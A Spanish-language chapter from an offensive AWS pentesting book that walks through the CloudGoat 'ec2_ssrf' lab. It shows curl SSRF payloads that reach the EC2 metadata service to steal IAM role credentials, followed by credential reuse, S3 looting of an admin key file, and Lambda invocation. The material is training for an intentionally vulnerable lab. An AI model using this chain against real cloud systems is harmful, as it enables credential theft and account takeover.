> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpna/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-ec2/abusando-del-servicio-de-metadatos-imdsv1-por-medio-de-un-ssrf.md).

# Abusando del servicio de metadatos IMDSv1 por medio de un SSRF

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

En este escenario comenzaremos con el usuario SOLUS que tiene bajos privilegios y luego de una enumeración sobre la infraestructura, lograremos identificar un aplicativo web que está alojado en un EC2 vulnerable a ataques SSRF. Luego de aprovechar esta vulnerabilidad, lograremos comprometer unas credenciales de acceso por medio del servicio de metadatos.

Primero, debemos desplegar el escenario con el siguiente comando:

```
./cloudgoat.py create ec2_ssrf
```

<figure><img src="/files/8GSkM1IkFcfpHDnqifvm" alt=""><figcaption></figcaption></figure>

Luego de que finalice el despliegue del laboratorio, nos retornara lo siguiente:

<figure><img src="/files/rluKR5hUUA40ppK5OD4P" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar las credenciales de acceso para el usuario llamado Solus.

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">**solus-ec2\_ssrf\_cgidysznrzllxi**</mark>.

Todos los comandos posteriores deben tener especificado el `--profile` con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile solus
```

<figure><img src="/files/QQSQqjRCC1VSeg3Hb2Kv" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

```
aws sts get-caller-identity --profile solus
```

<figure><img src="/files/MPlcb4EPV0VrEHYyITp3" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

{% code overflow="wrap" %}

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name solus-ec2_ssrf_cgidysznrzllxi --profile solus
```

{% endcode %}

<figure><img src="/files/rX0FNBGZhty7KgdRWPBR" alt=""><figcaption></figcaption></figure>

Vamos a listar las políticas para el usuario que será auditado:

```
aws iam list-attached-user-policies --user-name solus-ec2_ssrf_cgidysznrzllxi
```

<figure><img src="/files/Pwj4W00jKJXJwS5KL5eH" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria, es utilizando el ARN de la política del usuario auditado:

{% code overflow="wrap" %}

```
aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/cg-solus-policy-ec2_ssrf_cgidysznrzllxi --version-id v1
```

{% endcode %}

<figure><img src="/files/RDbqpDqgxNZWklnmFh7X" alt=""><figcaption></figcaption></figure>

Luego de identificar los permisos para el usuario Solus, ya podemos iniciar la auditoria de seguridad.

Vamos a enfocarnos en realizar una enumeración básica sobre el servicio de lambda.

Comenzamos con listando las funciones de lambda disponibles con el siguiente comando:

```
aws lambda list-functions --profile solus
```

<figure><img src="/files/k4COLQC9K8w2WzTnwThe" alt=""><figcaption></figcaption></figure>

Hemos identificado en las variables de entorno, unas credenciales de acceso aparentemente para un EC2.

**Enlace de referencia:**

{% embed url="<https://docs.bridgecrew.io/docs/bc_aws_secrets_3>" %}

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile lambda
```

<figure><img src="/files/nBg43p7v04dCRMjTKk8q" alt=""><figcaption></figcaption></figure>

```
aws sts get-caller-identity --profile lambda
```

<figure><img src="/files/jKidkKqTXOz37oi38wnx" alt=""><figcaption></figcaption></figure>

En este punto, podríamos lanzar un enumerate-iam para identificar los permisos para este nuevo usuario desconocido.

Teniendo en cuenta el nombre del usuario (`wrex-ec2_ssrf_cgidysznrzllxi`), podríamos decir que probablemente tenga privilegios en el servicio de EC2.

Así que vamos a ejecutar el siguiente comando para listar las instancias:

```
aws ec2 describe-instances --profile lambda
```

<figure><img src="/files/VtYUwPUZCVbcS8wSqbG3" alt=""><figcaption></figcaption></figure>

Logramos identificar una instancia corriendo.

Vamos a realizar un escaneo de puertos y servicios sobre el PublicDnsName de la instancia previamente identificada.

```
nmap -sV ec2-3-87-227-98.compute-1.amazonaws.com
```

<figure><img src="/files/cBSu6W0Ksdo5c7Gf2xdw" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar el puerto 80 con el servicio HTTP.

Por lo anterior, vamos a intentar realizar una petición GET sobre el portal web.

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com
```

<figure><img src="/files/ZVpEQ0qE9zR0wEhln1Za" alt=""><figcaption></figcaption></figure>

En este punto podríamos afirmar que el aplicativo cuenta con una vulnerabilidad de criticidad baja ya que está divulgando información sensible debido a una mala gestión de errores.

En el error podemos apreciar que se está utilizando tecnología de NodeJS y también se evidencia que es necesario especificar un parámetro llamado URL.

Por lo anterior, vamos a concatenarle a la URL el parámetro solicitado:

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=
```

<figure><img src="/files/tLfTMmNttlA3rGjzbLp1" alt=""><figcaption></figcaption></figure>

Luego de lo anterior, podemos apreciar que el aplicativo retorna un HTML con un mensaje totalmente diferente.

## ¿Qué es SSRF?

La falsificación de solicitudes del lado del servidor (también conocida como SSRF) es una vulnerabilidad de seguridad web que permite a un atacante inducir a la aplicación del lado del servidor a realizar solicitudes a una ubicación no deseada.

**Enlace de referencia:**&#x20;

{% embed url="<https://portswigger.net/web-security/ssrf>" %}

Vamos a validar si este sitio es vulnerable a ataques de SSRF por medio del parámetro URL:

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=www.google.com
```

<figure><img src="/files/EFRGYDSPLFv4xjg8Tj8v" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar que el código HTML del sitio `www.google.com` fue añadido a nuestro portal web que está alojado en la instancia y esto quiere decir que efectivamente existe la vulnerabilidad SSRF sobre la EC2.

Ahora vamos a aprovecharnos de esta vulnerabilidad y vamos a realizar una petición sobre el servicio de metadatos de la instancia.

Los *metadatos de instancia* son datos sobre una instancia que se pueden utilizar para configurar o administrar la instancia en ejecución. Los metadatos de instancia se dividen en categorías, como, por ejemplo, nombre de host, eventos y grupos de seguridad.

**Enlace de referencia:**&#x20;

{% embed url="<https://docs.aws.amazon.com/es_es/AWSEC2/latest/UserGuide/ec2-instance-metadata.html>" %}

El servicio de metadatos de una EC2 puede ser consumido por medio del siguiente enlace: <http://169.254.169.254/latest/meta-data/>

{% hint style="info" %}
Cabe resaltar, que el servicio de metadatos solo puede ser accedido desde dentro de la instancia.
{% endhint %}

Teniendo en cuenta lo anterior, vamos a aprovecharnos de la vulnerabilidad SSRF para comunicarnos con el servicio de metadatos:

{% code overflow="wrap" %}

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/
```

{% endcode %}

<figure><img src="/files/9TSDUCXDMA9YCGjqzVFY" alt=""><figcaption></figcaption></figure>

Teniendo en cuenta la evidencia previa, podemos afirmar que hemos explotado con éxito el SSRF contra el servicio de metadatos.

Ahora vamos a consumir el siguiente endpoint del servicio de metadatos encargado de retornar credenciales de acceso:

{% code overflow="wrap" %}

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-ec2_ssrf_cgidysznrzllxi 
```

{% endcode %}

<figure><img src="/files/eTJ4DhVYel7A7yp7qVCL" alt=""><figcaption></figcaption></figure>

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile ec2
```

<figure><img src="/files/Of0uJ9WfHl8wtrzbVRa2" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

```
aws sts get-caller-identity --profile ec2
```

<figure><img src="/files/y8dz49SganhMKyvFdY4j" alt=""><figcaption></figcaption></figure>

En este punto, debemos validar los permisos para este rol comprometido y esto lo podríamos hacer utilizando [Enumerate-IAM.py](/cpna/tecnicas-de-enumeracion-en-iam/enumeracion-automatizada-por-medio-de-fuerza-bruta/enumerate-iam.py.md)

Nosotros vamos a saltarnos ese paso de la enumeración para agilizar y enfocarnos únicamente en la explotación del escenario.

Los permisos para este nuevo rol comprometido son:

<figure><img src="/files/ORaMhatEYHLhMGtvKCmK" alt=""><figcaption></figcaption></figure>

Uno de los permisos para este nuevo rol comprometido es el control total sobre el servicio de S3.

Vamos a realizar una enumeración sobre los Buckets con el objetivo de identificar información sensible dentro de ellos:

```
aws s3 ls --profile ec2
```

<figure><img src="/files/A5ecyM7r4jPpdmrkVEJG" alt=""><figcaption></figcaption></figure>

Luego de listar el servicio de s3, podemos apreciar un Bucket.

Vamos a listar el contenido de dicho Bucket:

```
aws s3 ls s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi --profile ec2
```

<figure><img src="/files/UMYLJEBdTZyX6EeBe99X" alt=""><figcaption></figcaption></figure>

Ahora hemos identificado un archivo de formato TXT.

Como tenemos control total sobre los Buckets, lo ideal sería descargar este archivo y visualizar su contenido.

{% code overflow="wrap" %}

```
aws s3 cp s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi/admin-user.txt ./ --profile ec2
```

{% endcode %}

<figure><img src="/files/vb3ImWQmhBCnSmE2AB3W" alt=""><figcaption></figcaption></figure>

Luego de descargar el archivo alojado en el Bucket, podemos visualizar que contiene otras credenciales.

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile end
```

<figure><img src="/files/6R7diuM21EXtuFYRlvZA" alt=""><figcaption></figcaption></figure>

```
aws sts get-caller-identity --profile end
```

<figure><img src="/files/HUBexEShTDSJwR3K40s4" alt=""><figcaption></figcaption></figure>

En este punto, debemos validar los permisos para este rol comprometido y esto lo podríamos hacer utilizando [Enumerate-IAM.py](/cpna/tecnicas-de-enumeracion-en-iam/enumeracion-automatizada-por-medio-de-fuerza-bruta/enumerate-iam.py.md)

Nosotros vamos a saltarnos ese paso de la enumeración para agilizar y enfocarnos únicamente en la explotación del escenario.

Los permisos para este nuevo usuario comprometido son:

<figure><img src="/files/mLlEWXIDTeKX6OXIdioM" alt=""><figcaption></figcaption></figure>

Como podemos apreciar este usuario tiene la posibilidad de invocar funciones de lambda.

Por lo anterior, vamos a listar las funciones actuales de lambda:

```
aws lambda list-functions --profile end
```

<figure><img src="/files/7wM46QtHnIIZrDRwoIMx" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidysznrzllxi ./out.txt --profile end
```

{% endcode %}

<figure><img src="/files/h2gRnuwvIobgOr0DrpDj" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar que este desafio a llegado a su fin y esto es debido al mensaje que nos ha retornado la invocación de la lambda.
